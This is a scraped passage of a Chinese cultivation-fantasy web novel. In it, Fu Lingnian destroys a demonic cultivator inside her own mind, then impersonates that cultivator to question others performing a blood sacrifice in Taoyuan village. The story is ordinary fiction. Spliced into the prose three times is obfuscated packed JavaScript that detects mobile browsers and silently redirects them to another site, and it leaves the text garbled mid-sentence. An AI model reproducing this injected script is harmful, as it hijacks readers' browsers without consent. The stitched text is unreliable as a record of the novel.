身处危险的环境,还是要保留一两分力气。 睁开双眼,伏令年透过窗外洒落的朦胧月光看清了床头的布娃娃。 ——布娃娃自己从伏令年的衣兜中爬出来了。 若在恐怖剧中,这定然是个令人毛骨悚然的画面。 而伏令年只是打了个哈欠,翻过身背对着布娃娃。 她似乎受到了这具身体的影响,感觉有些困了。 迷迷蒙蒙间,伏令年被奇怪的动静惊醒了。 睁开双眼,布娃娃便贴在她的面前,一双黑褐色眼珠直勾勾地看着她,挥舞着小短手拍打着她。 伏令年一个激灵,睡意少了大半。 “你洗手了吗?” 一把把布娃娃揪了起来,伏令年嫌弃地嘟囔。 天边蒙蒙亮,屋内还是有些昏暗。 伏令年耳朵捕捉到了屋外有细微的动静。 是桃潘? 这么想着,伏令年试探着放出神识,往外延伸出去。 神识如流水般流淌而出,让伏令年吃惊的是,透过神识,她探查到了许多以前无法感受到的东西。 空间中流淌的微薄灵气,地面上细小的尘土泥沙,飞散于空气中的细微灰尘…种种细微的事物在伏令年眼中无限放大,让她仿佛回到了自己有所领悟即将突破的几个瞬间。 顿悟状态下才能察觉到的事物在如今全然展现在伏令年面前。 这代表着伏令年对神识的修炼在不知不觉间已然进入了一个新的阶段。 神识往外延伸,伏令年借此“看见”了外头的场景。 桃潘跪在放置着桃骆尸体的房间内,双手抱于胸前,正低低念诵着晦涩难懂的语句。 随即,他的肌肤上骤然腾起了暗红色的火焰。 桃潘面露痛苦之色,裸露在外的皮肤如同油蜡遇热般融化,整张面孔不成形状。五官随着融化的肌肤流淌而下,滴滴答答着落于地面,发出诡异的滋滋响声。 桃潘似乎全然感受不到痛苦,他托举着自己已然露出骨架的面孔,喉咙里发出诡异的笑声。 “咯咯…咯咯咯…” 待到全身肌肤脱落,新的皮肉滋生。肉芽在骨架上生长,填补着空缺。 布满皱纹的肌肤,白发与白胡,面容慈祥的老者。 桃潘,由此“变”为了桃骆。 就在伏令年为此感到恶心与震惊之时,危机感陡生。然而,还未等她收回神识,便被一团粘腻的事物缠绕。神识仿佛陷入泥潭,无法自拔。 一道声音通过神识传递而来。 “抓住你了,小老鼠。” 50. 真相一角 寒意席卷伏令年周身,她奋力挣脱束缚,重新睁开了双眼。 双臂撑着床铺,伏令年心有所感,侧头往向窗口。 清晨微弱的光芒透过窗口撒入,一道阴影拉长着映于地面。 伏令年和影子的主人对上了视线。 那是一张伏令年再熟悉不过的面孔——属于她的面孔。 在对方戏谑的眼神注视下,伏令年只觉得头部剧痛,眼前陷入黑暗。 再恢复意识时,伏令年发觉她正处在自己的神识海当中。 静谧的“夜空”被撕裂,一团团深红近黑的雾气不断透过缝隙渗入。 神识海受损,也同时反应到了伏令年身上。 虽然身处神识海中,伏令年已经没了肉身,但她依旧能感受到那种头部被撕裂的痛苦。 雾气越来越多,遮掩了光团的光芒。它不断变换着形态,模糊不清,却让人心底发毛。 伏令年强忍着头痛,疯狂呼唤着系统。 ‘系统,救一下啊!’实际上,伏令年没有对自己这个“金手指“抱有什么期待。但如今的情况有些超出了她的能力可解决的范围,只能用呼喊系统的方法让自己冷静下来。 【宿主,这是你的神识海,是你的主场哦。】 让伏令年意外的是,系统居然做出了回应。 我的,主场? 伏令年咀嚼着系统的提示,望向那被撕裂的缝隙。 意念所动,原本在雾气笼罩下瑟瑟发抖的光团们似是有了主心骨,快速地朝着缝隙处涌去。 可怖的缝隙在光团的涌入下渐渐缩小,阻挡着雾气的涌入。 然而,还未等伏令年感到惊喜,又有几道裂缝显现,往神识海中渗着雾气。 就这样,裂缝不断出现,伏令年则不断修补着缝隙,两者间达到了诡异的平衡。 被困在这里暂时出不去,伏令年甚至还抽空翻起了系统给的《聚魂功法》,现学现用起来。 此时,学不死就往死里学的精神在伏令年身上体现了出来,因为她知道,如果不学,她是真的会死! 不知道僵持了多久,在伏令年再次将缝隙修复后,新的裂缝并未出现。 伏令年并未因此感到欣喜,对方在暗,且掌握着攻击的主权。如今的安静更像是暴风雨来临前的宁静。 如此警惕着,约莫半刻钟后,神识海中翻滚起来。天地骤然翻倒,伏令年只觉得头顶的“星空”变为了无际的汪洋,点点光团被巨浪所淹没,脱离了伏令年的控制。 一声巨响,仿佛山石崩裂。 神识海再度开裂,尖利刺耳的嘶鸣声伴随着剧烈的疼痛将伏令年笼罩。 血红的色泽沿着巨大裂缝向神识海内蔓延,未知的、暗红的、不可名状的事物蠕动着,一点点渗入神识海中。 伏令年的目光不由自主的被黑漆漆的裂缝所吸引。 裂缝似乎在颤动,下一刻,裂缝张开了——不,那不是裂缝。那是一只眼睛,巨大的、血红的、冰冷的眼睛——没有睫毛的眼睛。 伏令年似乎再次回到了那个夜晚,她倒在地上,看见了斗笠男斗笠下的“面容”。 周围的一切变得模糊,可怕的嘶鸣声却越加清晰。 伏令年难以控制地倾听着那让她痛苦不堪的嘶鸣声,她想要捂住双耳,却无法做到。 那嘶鸣像是惊恐的人发出尖叫,又似是隐匿于黑暗者的窃窃私语。 心中升腾起难以言喻的恐惧与焦躁,若处于神识海中的伏令年有人的形体,她此时恐怕已经双眼血红,抱着脑袋在地上翻滚。 冷静些、冷静些。 伏令年不知道是谁在和她说话,又或是她自己在和在和自己说话。 冷静些、冷静些…不要听、不要听… 神识似乎在消散,她似乎要不复存在。 许多纷杂的念头在脑海中显现。 现实世界中的父母与朋友,乱糟糟却极有安全感的房间,第一次腾空御剑的喜悦,修仙界同伴们的面孔,还有许多…模糊、似乎不属于她记忆的画面。 这是传说中的走马灯吗? 伏令年脑中突然冒出这个想法。 她重新找回了些许自己的存在。 不可以。 她不能就这样死去。 神识海中的光团忽地涌动起来,强烈的光芒撕破了浓雾与黑暗。 原本伏令年怎么也捕捉不住的光团纷纷朝着她的方向群涌而来,如乳燕归巢般没入伏令年的“体内”。 神魂聚拢,身形聚现。 伏令年注视着那只血红的眼眸,心念一动。 通体玉色,别无雕琢的长剑于神识海中显现。 身随剑行,伏令年手握白玉剑,一剑穿透了那巨大的眼眸。 被穿透的眼眸并未流淌出鲜血,反而如同破了洞的气球,迅速干瘪下去。一条恶心的红色肉虫从中爬了出来。 耳边响起一道模糊得难辨雌雄的声音:“怎么可能,你怎么可能聚形…你不是筑基…元婴…” 丝丝缕缕的雾气缠绕于伏令年的剑尖,她手下用力,就将要把眼球连带肉虫彻底碾碎。 “不要!”那道声音尖叫着求饶:“放过我,我帮你除去那树妖给你下的禁制。” 伏令年没有回应,她手腕翻转,剑尖已然没入其中。 “你莫不是还想替那树妖卖命?小修士,你被那树妖骗了!” “这是你求饶的态度?”伏令年语气危险,手上却未继续动作。 “大人——仙长大人。”那声音立即谄媚起来:“那树妖就是个意图依靠信仰成神的骗子,你可莫要上当啊!” “信仰?成神?”伏令年的语气还是淡淡的,但依旧让鸠察觉到了她内心的困惑。 鸠笑声中带上了几分讥讽:“是啊,依靠信仰可以成神。你们宗门一定从未对你们提过吧?” 伏令年没应声,在鸠眼中,这便是默认。 “桃源村,听着是多么美好的世外桃源。”鸠故意慢悠悠地道:“可惜——” 眼前一花,鸠忽感到剧痛,伏令年竟直接将白玉剑刺入了她的体内。 “不想说别说了。”她听见伏令年这么说。 “他们只是一群生活在树妖掌控下的愚昧凡人,桃源树妖将他们世世代代困居于此,不允许孩童前往外界的仙门修行。桃源村的村民只是树妖成神路上的待宰羔羊罢了。” 鸠不敢再故作姿态,一口气将话吐出,生怕这不好说话的修士真把自己给剁碎了。 伏令年似是被鸠的话语震住,沉默了许久后,鸠听见伏令年问:“信仰,真的能造神?那修士们为何不为自己修建庙宇?”若接受信仰便能成神,直接修建庙宇让凡人朝拜就可,那些在飞升成神路上苦苦挣扎的修士又算作什么。 伏令年虽没将话说全,鸠却敏锐察觉到了她的动摇,以及她未说出口的潜台词。 “哈哈哈哈…”鸠大笑起来,笑得难听又刺耳:“天真…” 她此时似是不再担心伏令年动手杀她,笑得分外猖狂。 笑过以后,在伏令年皱眉注视下,鸠缓缓道:“信仰可不是只建造庙宇便能产生的。至于收集信仰的方式……” 她话语顿了顿,“四境八荒,谁人不知你们昆仑宗的大名啊?” 话音刚落,她满意地看见伏令年面色微变。 “小修士,你还是太过天真了…你当真觉得,你如今掌握了我的生死?”在两人刚刚交谈的当儿,鸠已然挣脱了伏令年神识海的压制,能够脱身而去。 当然,她并不想放过伏令年。 这个修士给她的感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273876|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉极为不妙,她很年幼,还有些天真。但鸠有预感,若不早日将她扼杀于摇篮之中,她或许会成长为魔修的一大阻碍。 攻势调转,伏令年周身被浓雾束缚,岌岌可危。 “等一下…”伏令年如鸠所愿那般面露惶恐之色,这让刚刚憋屈了半天的鸠大感痛快。 “说出你的遗愿吧。”鸠语语气冰冷,杀意显露:“或许,我还可以转告给你的同伴呢。”浓雾在鸠的操纵下近乎凝为实体,深深嵌入伏令年肌肤。 “水鬼的消息…是你们传递出去的…”面露痛苦之色,伏令年有些艰难地吐出一句话。 鸠冷笑一声,没有回应,却似是默认。 就在此时,她忽看见被困住的少女脸上的恐惧收敛,嘴角勾勒出一抹笑容。 还未等鸠做出反应,眼前白光弥散。 “谢谢你,我又知道了不少。”伏令年嗓音平静,却令鸠内心震颤起来,强烈的恐惧让鸠只想立即逃离。 就待鸠感觉不妙,放弃杀死伏令年的计划,慌乱着想要离开伏令年神识海之时。 伏令年飘忽的嗓音在鸠身侧响起:“我在等CD,你在等什么?” 鸠只感到一股巨力,竟被吸着往剑刃上撞去,毫无反抗之力,也再无求饶的机会。 接触到剑刃的一瞬,无法言喻的炙热将鸠笼罩于内。她未感觉到疼痛,却宁愿感到疼痛。 神魂逐渐消散,鸠觉仿若是退潮后落于岸上的鱼儿,感受着自己的生命逐渐流失,却无能为力。 细小的纹路逐渐染上殷红,轻微地颤动着,宛若人体内的毛细血管。 红色的液体静静流淌着,鸠不甘的尖叫声消散,一切归于平静。 伏令年刚刚努力维持的笑容消失,神魂化作的形体渐渐归于透明。 白玉剑落于地面,残留的雾气与失去控制的奇怪事物皆被白玉剑吸引投入剑中。神识海回归寂静,星空重新映于头顶。 漂浮于神识海中,伏令年虚弱地松了一口气。 幸好,她撑到了最后。 刚刚和鸠谈话,惊讶是真,恐惧也不假,信任却是一点都没有。 桃源树妖的确不值得信任,魔修却更不可信。 为了不让鸠提前发觉,伏令年用最真实的反应去迷惑她,让她认为自己是个毫无经验的天真小修士。最后,再利用鸠的轻视将她一举杀死。 神识海中,系统的提示逐渐显现。 【九十年义务修仙系统提醒您:】 【道具变动提示】 【【看上去不厉害但是绝对很贵的剑】晋阶—>【看上去不贵但有点厉害的剑】】 【道具介绍: 1,此剑与宿主神魂相联,能够寄存于神识海中 2,驾驭此剑,宿主能对及以下修为者的神识造成伤害,满足一定条件,有概率吞噬及以下修为者,吞噬神识越多,此剑的能力越强 (注意:吞噬能力使用条件根据使用对象而改变,使用吞噬能力同时会对宿主本身产生副作用,副作用随机,包括但不限于昏迷,头痛,性情变化,死亡等。请宿主谨慎利用。) 3,此剑还有继续晋阶的空间,请宿主多加努力~】 非常熟悉的,具有惊悚感和恶趣味的系统提示。 除此之外,任务【回家的诱惑】也已完成。 伏令年疲惫至极,她甚至没有力气再观察自己神识海中是否还产生了其余变化。 眼前一晃,伏令年遵循自己的心意,神魂一同投入了自己的身躯当中。 归于寂静的神识海中,白玉剑失去持握者,就这么静静地躺于地面。 白玉剑周身的殷红褪去,归于原本白净朴素的模样。 而处于神识海角落的幼小植株忽地颤动起来,再次以肉眼可见的速度向上生长。 51. 村庄异变 重归身体,伏令年睁开双眼。 她此时正站在婉儿的窗前——换句话说,自己的身体刚刚被那魔修操纵着站在窗前。 目光落于床铺上,婉儿的身体躺于床铺上,一动不动。 不知这女孩的灵魂去了哪儿。 伏令年最后看了眼女孩身旁的布娃娃——粗糙的布娃娃也一动不动地躺着,少了先前的灵动感。 看来,桃源树妖的意识已经离开。 犹豫了一下,伏令年跳入房间,将桃源树妖曾经寄存意识的布娃娃带在了身上。 天色已然大亮,伏令年没再在桃潘家中多做停留。 她要去寻找温季才,并用白玉剑斩断桃源树妖在其神魂上留下的禁制。 在召出白玉剑并将那魔修吞噬后,伏令年已经能够察觉到桃源树妖施于她身上的禁制,并顺利将其除去。 ——那是一条条嵌入她神魂当中的红线。 若不除去树妖的禁制,无论身处哪具身体中,伏令年都无法逃离桃源树妖的掌控。 有了这次与魔修的一战,再加之对神魂掌握的加深,伏令年此时有八成把握能将温季才神魂内的禁制也一并铲除。 魔修固然不是什么好东西,桃源树妖也不可信任。祂隐藏了许多信息,不知在暗中策划着什么。 桃源树妖声称自己守护着桃源村,为了保证村民们的存活,使桃源村陷入了三日轮回当中。然而,魔修却称桃源树妖是为了收集信仰,而将村民困于此地。 双方说法矛盾,如此情况下,摆脱桃源树妖的操控,想办法向外传递信息,并等待昆仑宗派人相助是最好的选择。 以占据她身体的魔修以她的反应来看,向外传递“桃源村被水鬼侵扰”消息与魔修脱不了干系。他们或许找到了三日循环的漏洞,并以假消息引诱修士前来。 这既是一个好消息,又是一个坏消息。 好在三日轮回并非没有漏洞,魔修们能向外传递假消息,伏令年他们也能够向外传递出求助信息。 坏在…魔修们似乎另有所图。 伏令年奔掠的脚步微顿,凝眸望向前方。 紧贴着肌肤的衣服沾染了汗水,秋风拂过,让她寒毛直竖。 伏令年眨了眨眼睛,下意识屏住了呼吸。 坐在屋前互相攀谈的老者、手持农具预备着下田劳作的青年男女…一具具人类的躯体保持着原来的状态,似还在进行着原有的行动。然而,空气中弥散的血腥味提醒着伏令年。 并非如此。 伏令年放慢脚步,缓缓向前行走。 一步…三步…五步… 在眨眼的一瞬,左侧突然响起一道声音。 仿佛是木塞被拔出的声响。 “啵” 声响很小,却如一道惊雷在伏令年耳边炸响。 伏令年强忍着好奇,没有侧头去看。她抬腿,继续往前方行去 余光被血色染红,伏令年一脚踏入地面,忽觉脚感不对。 身体一顿,伏令年身体下陷,脚下仿佛有千斤重量。 这与在沙地中前行的感觉不同,多了些黏黏糊糊的滑腻之感,和雨后的泥地有些相似,却有不尽相同。 伏令年低头看去,眸中映出脚下那红色的、滑腻的、正在蠕动的地面。 正在蠕动的地面? 伏令年不由得在脑中再次重复了这个形容。 地面是浅红色的,一圈圈暗红的纹路浮现于上,正随着地面的颤动起伏不断变幻。地面仿佛拥有了生命,起伏是呼吸外显。 这有些超出现实的画面让伏令年的脑袋发懵。 下一刻,神识海中发的白玉剑光芒大盛,将伏令年从僵硬的状态中拽了出来。 周围的一切已然大变,伏令年只觉得自己宛若处于人间炼狱中。 身周灵力转动,伏令年强迫自己不再去注视身周分外诡异的场景,挣开束缚继续往前方奔行。 周围的血腥气近乎化作实质,将伏令年浸染。 直到离开那片区域,那股血腥气也并未消失。 耳边流水潺潺,是伏令年原本的目的地。 桃源村的溪流。 这本是伏令年一行人“第二日”应该前往的目的地。 如果没有出现意外,温季才他们大概率在这。 然而,桃源村中出现了可怕的异变。 伏令年所见的所有村民皆爆体而亡,死状诡异。 脑海中的白玉剑在刚刚便活跃起来,一直在神识海中发出声声剑鸣。 伏令年犹豫了一瞬,伸手将白玉剑召了出来。 这把美男子所给予的剑属实奇异,除了能与自己神魂相联以外,似乎还有破除幻象,镇静心绪的作用。 按照伏令年阅书无数的经验,这不就是传说中的神器啊! 有白玉剑在手,伏令年顿时觉得安稳了不少,她运转起隐蔽身形的功法,放缓脚步悄悄往溪边靠近。 溪边生长着许多植株,绿意盎然。 不过,伏令年之前就发觉,溪边树木繁茂,却唯独没种植桃源树。 因此,当初伏令年在溪边探查水鬼,捡到那片粉色花瓣时便觉得分外古怪。 隐蔽于树荫之中,伏令年望向溪流中,看见了一道熟悉的身影。 斗笠男立于木筏之上,与那夜比起,斗笠男的身形膨胀了一倍。黑红色的火焰由他指尖流淌而出,逐渐膨胀变大,足足能容下一人。 一道模糊的身影在其中若隐若现。 那道身影显现的同时,伏令年忽感背后发凉,有被人窥视之感。 周遭的一切顿时都变得怪异起来,给予伏令年庇护的树荫中似乎也隐匿着一双双眼眸,正隐秘地窥视着她。 伏令年下意识往后退了一步,左侧手臂突然挨到了什么。 软软的,有温度…… 伏令年身体一僵。 她有些僵硬地转过脑袋。 和一双平静的眼眸对上了视线。 心脏剧烈跳动了几下,又重新归于平静。 是高墨贤。 在如此惊悚的情况下,还能保持死水一般平静的眼神——不愧是他。 就在这时,高墨贤伸手,拽着伏令年往左侧方带去。 伏令年没想到高墨贤有如此行为,踉跄几步,险些栽倒在地。 随即,面前突兀地出现了好几道眼熟的身影。 温季才、林屿燕、夏悠清——一个不落地都在此处。 少年们十分憋屈地挤作一团,低头看脚下,一圈淡蓝色的光芒将几人笼罩于内。 这应当是一个能够隐蔽身形的法阵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299758|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 对于法阵,身为半个符修的伏令年有所涉略。 虽然她只是一个刚入门的小白菜,却能判断这类隐蔽身形的阵法绝对不简单。最起码,以她如今的水准,无法制作出这样的阵法。 “你…”林屿燕似乎对伏令年的出现有些紧张,她眸光锐利,隐含警惕。 这也不奇怪,温季才和高墨贤应当已经提醒过几位伙伴魔修占据了伏令年的身体,突然出现在此的她确实足够可疑。 “二丫!”温季才则惊喜地喊了伏令年一声,在林屿燕和夏悠清怀疑的注视中,他肯定道:“你看她的眼神,剑修独有的澄澈眼神,和那个占据她身体的家伙不一样!” 伏令年无语地抽了抽嘴角,总感觉自己好像被骂了。 处于法阵之内,依然能探查外头的情况。 刚刚产生的轻微动静引起了斗笠男和他同伴的注意,他们随时可能会前来查探。 “这个法阵能完全屏蔽住那些魔修的感官吗?伏令年一边警惕着魔修,一边问道。 “远处的可以,太近的不行。”高墨贤回答道。 伏令年点了点头:“法阵能维持多久?“ 高墨贤沉默了几秒,忽地开口:“十。“ 十什么?十刻钟? 疑惑侧头,伏令年看见高墨贤再度开口:“九。” “八。” “七。” 在众人惊恐的目光中,高墨贤从储物空间中取出几张符纸,在倒数结束前摆于身周。 “一。” 法阵光芒消失的一瞬,符纸燃烧,再次生成新的法阵。 还没等伏令年松一口气,就听到一道陌生的嗓音:“什么东西?” 火焰中的模糊身影听声音是男性,嗓音阴柔。他似乎已经发现了伏令年两人的存在。 “怎么了,白脸?”斗笠男嗓音嘶哑地问。 “有小老鼠溜进来了。”白脸嗓音带笑,吐字间让人不由联想起吐出性子的毒蛇。 光是听到他的嗓音,伏令年便觉得有些寒颤。 看来,白脸确实察觉到了伏令年这边的动静。 情况一下又危险起来,只要他们靠近探查,法阵便无法再护住伏令年一行人的身形。 魔修…同伴… 伏令年脑中灵光一闪,她拿出那只布娃娃,将布娃娃丢在地面。 地面泥土有些湿润,将本就灰扑扑的布娃娃染黑。布娃娃滚了两圈,刚好靠上温季才的鞋尖端。 在几人不解的目光中,伏令年脚步挪动,竟直接离开了法阵。 心脏如擂鼓般跳动,伏令年在心中祈祷着自己的猜测是正确的。 刚刚离开两步,伏令年心有所感,抬眸望向头顶的树荫。 树叶轻轻晃动,伴随着细微的响动,一张苍白的面孔从中探了出来。 那是一张人形的面孔,却苍白得不似活人。一双深黑的眼眸大睁着,眼窝深陷,嘴唇纤薄且缺少血色。鼻子塌陷,只有两个黑漆漆的孔洞。不知是不是脸皮紧绷的缘故,它五官的间距古怪,似是被强行收紧凑在了一起。 面孔继续向下,露出了它的脖颈。 伏令年极力控制着自己的面部表情,不表露出自己内心的波动。 这张面孔之下,除去长得宛若蛇身的脖颈,便再无他物。 52. 血煞阵成 面孔越靠越近,就在伏令年要忍不住动手之时,它停了下来。 黑洞洞的鼻孔收缩又张开,发出嗅闻的动静,让伏令年一颗心提到了嗓子眼。 顿了一下,伏令年看见面孔的嘴唇微张,发出了阴柔的男声。 “鸠?” 伏令年:? 啾什么啾,长成这样还卖萌是违法的你知道吗? 未听见伏令年的回应,那苍白面孔又朝她的方向凑近了一点,脑袋偏向她右手。 右手?伏令年悚然一惊。 她忽然记起,自己手中似乎还握着白玉剑。 这下恐怕要露馅了! 伏令年原本还想要假装成那个占据她身体的魔修,赌他们不知道那魔修已经被她杀了。 快速瞥了眼自己手上的白玉剑,伏令年几乎不敢相信自己的眼睛。 剑柄之下,原本应当是剑身的地方已然变了个模样。鞭尾垂落于地,鞭身层层堆叠,如同黑色的鳞片。 这哪里还是白玉剑,明明就是一条黑色的长鞭啊! 苍白面孔凑近鞭身,嗅闻了几下。 伏令年强忍着用鞭子把它勒死的冲动,没急着开口。 “哈,鸠,你怎么不说话?“ 苍白面孔摇晃着,语气有些困惑。 它似乎视力不太好,全靠嗅觉辨物。 这时候,伏令年才发觉她误会了什么。 “啾”原来是那魔修的名字啊。 名字蛮可爱,就是人不太可爱。 “怎么回事?” 斗笠男嘶哑的嗓音响起。 “鸠来了。”阴柔的嗓音回复,听着像是从远处传来。 下一刻,苍白面孔化作残影,将伏令年圈在其中。 伏令年只觉得腰间一紧,整个人便被卷着带往溪边。 被脖子缠住的感觉分外诡异,伏令年只觉耳边风声作响,人就落在了木筏之上。 “来的正好。”斗笠男似乎也并未起疑。 “事情完成了?”这句话不是对伏令年说的。 “成了。”白脸道:“埋藏在他们体内的魔种被激活,血祭已经完成大半。” 此话一出,两人转向伏令年。 “你的问题解决了?” 伏令年不敢多说,只是淡淡“嗯”了一声。 “这女孩的身体到底有什么问题?”白脸好奇地问:“不过区区筑基期,居然能够阻止你的寄生?” 她的身体有问题,她怎么不知道? 心中这么想着,伏令年脸上依旧淡然。 “不清楚,但我已经把她杀了。” 白脸和斗笠男皆未对此感到怀疑。 正常来说,金丹期魔修想杀死筑基期修士可谓是手到擒来。毕竟两者相差着一个大境界,中间隔着无可跨越的鸿沟。 伏令年外表平静,脑子却一刻不停地思索着接下来的对策。 她现在可以假装成鸠,可她对魔修们的谋划一无所知。一旦他们问出涉及根本的问题,她立即就会露馅。 被两个魔修包围在其中的她可谓是插翅难飞。 思虑至此,伏令年不再犹豫,选择主动出击——她要在被发觉前问出有用的信息。 “什么时候完成?”她语气笃定地问。 “最后一个阵眼也形成了。”白脸阴恻恻地笑了一声:“用那四个修士作祭品,血煞立即便能成形。” 斗笠男似乎想到了什么,忽地笑出声来。 他声音嘶哑难听,笑起来就跟动漫里的反派那样,发出“桀桀桀”的声响。 “可惜,以你的手段,那小修士神魂怕是都被你吞掉了。不然…”他语调上挑:“让他们自己决定谁做祭品…想想便很愉快啊。” 真变态啊。 似是被传染了,白脸也跟着“桀桀”笑了几声 为了合群,伏令年也“桀桀”笑了起来。 三人就这么笑了一会,伏令年率先收住笑容,她实在是有些笑不出来了。 她故作担忧姿态:“万一那些修士向外界传递信息,他们的死亡恐怕会引来宗门的报复。” 此话一出,两位魔修都安静下来。 刚刚将伏令年带过来的蛇颈人正盘绕在几人的脚侧,白脸的身影还是模糊不清。 就在伏令年以为自己露馅的当儿,斗笠男开口了。 “我守在这儿,他们又如何能传出消息?待血煞阵成,我们直接离开便是。”斗笠男冷笑一声,有些不屑:“鸠,你还是那么的贪生怕死。若不是祭司大人推崇你的能力……” 他话未说完,三人同时感受到脚下晃动起来。 原本只是随水波飘荡的竹筏被骤然掀起的水流推得偏移到了另一侧,一团巨大的黑影逐渐迫近。 浓重的鱼腥味瞬间充斥伏令年的鼻腔。 “该死,又来了。”斗笠男似乎知道这是什么情况。 他并未慌乱,双手腾起焰火。 焰火之中,两柄巨斧在其中显现。 黑影已然临近竹筏,伴随着巨大的破水声,一道声音从其中跃出。 那是一道似鱼似人的身影,黑色的长发垂落,遮盖住她大半张面孔。黑发之下,是一双向外突出的充血双眸。 她张开嘴巴,发出一声尖利的啸叫。细密的利齿外露,透着森森寒意。 尽管如今的她比上一次见面时更加不成人形,伏令年却认出了她。 二妞。 此时再见到她,伏令年感觉亲切了不少。 在刚刚的晃动中,伏令年已经靠近了木筏边沿。 未有犹豫,在看见二妞与斗笠男缠斗在一起之时,伏令年腿部发力,跃入水中。 还未等她与木筏拉开距离,强烈的危险感袭来。 一道细长的影子从上空扎入水中,朝着伏令年急掠而来。 人的面孔,蛇一般的脖颈。 耳边响起白面似笑非笑的声音:“鸠,你要去哪里啊?” 伏令年没有回应,她推动灵力撕破水流,力求远离木筏。 然而,蛇颈人在水中游动的速度超乎伏令年的所料。眼见着它越来越近,伏令年只得停下动作,翻身迎向它。 手中的白玉剑褪去了伪装,重新散发出洁净的光芒。 下一刻,伏令年手持白玉剑与苍白面孔相撞。 力量的冲击搅动着溪水,伏令年神识附于白玉剑之上,试图操纵白玉剑攻击敌人的神魂。 她知晓自己在修为上远远不如魔修,硬碰硬定无好下场,只能凭着出其不意,在神识上获得先机。 然而,当伏令年想要攻击蛇颈人的神魂时,却扑了个空。 蛇颈人压根就没有神魂。 这个想法在脑海中显现,下一刻,伏令年只觉得眼前一花。 小腿处立即传来剧痛,鲜血自伤口处弥散而出。 蛇颈人的“尾部”不知何时转到了伏令年的身下,其上的钩刺直接穿透了她的血肉。 它并未就此罢休,一股巨力传来,牵扯着伏令年移动了一段距离。伏令年仿佛能听见自己血肉被撕裂的声响。 伤口扩大,鲜血汩汩涌出,染红了面前的水域。 苍白面孔的鼻子耸动,似是嗅到了鲜血的野兽,居然不再理会伏令年手中白玉剑的威胁,试图靠近伏令年腿部的伤口。 它似乎对她的血肉很感兴趣。 伏令年失血过多,脸上已没了什么血色。在这千钧一发之际,伏令年终于找到了她所希望的事物。 ——白脸用于操纵蛇颈人的一抹神识。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13360998|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >催动白玉剑,伏令年似是要回剑自救,剑锋却在中途转向,袭向蛇颈人的后脑。 黑红色的光团在伏令年眼中如萤火般明亮,一剑斩出,再无所遁形。 在光团湮灭之际,伏令年听到了白脸的声音。 “是你?…你怎么…” 话语未完,光团完全湮灭于伏令年的剑光之中。 蛇颈人失去了白脸控制,身体逐渐崩解,却依旧还有行动能力。 眼见着它大口吞噬着血水,即将噬咬她的血肉之时。 伏令年催动灵力,将蛇颈人从头部连同蛇身一同彻底震成了齑粉。 顾不得腿上的疼痛,伏令年往岸上游去。 指尖刚搭上地面,伏令年便被匆匆赶到的温季才几人拉上了岸。 “伏师姐!”夏悠清看清伏令年腿部的伤势,吓得眼睛都红了。 她立即从储物袋中取出丹药,给伏令年外敷内用。 丹药起效很快,但伏令年伤势过重,被刺伤的左腿一时间是无法动弹了。 伏令年缓了片刻,才有力气打量周遭的情况。 从伏令年入水与蛇颈人缠斗到出水不过短短半刻钟,岸边却已被粉色的花瓣淹没。几人刚刚藏匿的地方正矗立着一棵苍天巨木——它还在以肉眼可见的速度拔高。 看来,那个布娃娃的确能牵引桃源树妖的意识降临。 伏令年的神魂两次进入他人的躯体时,都有强烈的被窥视感。 第一次,她进入虎儿的身体,虎儿的妹妹让她感到怪异。第二次,她进入婉儿的身体,布娃娃也给她同样的感受。 知道桃源树妖的意识寄存于布娃娃之上后,伏令年对两次事件有了联想。 而在伏令年破除禁制,回到自己身体中后,布娃娃失去了灵动。 由此,她有了推测。 ——或许,桃源树妖能通过如伏令年和温季才这样的被下禁制者介入三日轮回。只是因各种缘由,她选择旁观。 如今,几位魔修现身,村庄发生异变,桃源树妖当然不会再袖手旁观。只要有机会,祂必然不会放过那些魔修。 因此,她没有急着破除温季才身上的禁制,并将布娃娃留在了温季才身旁。 果然,桃源树妖出手了。 也幸亏桃源树妖及时出手,否则伏令年就危在旦夕了。 两位魔修此时的首要敌人是桃源树妖,给了她逃脱的机会。 “你们还有‘飞鸽’吗?”伏令年问。 “我身上还有。”林屿燕道。上个轮回,高墨贤和夏悠清在不同地方放飞了“飞鸽”,却始终未能收获宗门的回应。伏令年、林屿燕和温季才则保留着“飞鸽”。 伏令年伸手点了点溪水:“沿着溪流放。” 三只符纸张化作的鸟儿没入水中,沿着溪流向远方行去。 通过魔修的话,伏令年猜测溪流应当是三日轮回的漏洞,唯一能够摆脱桃源树妖掌控的出口。 飞鸽在前往昆仑宗的路上。然而,在宗门救援到来前,伏令年几人的危机尚未解除。 大地不断震颤着,粉色的花瓣不断自桃源树上掉落。 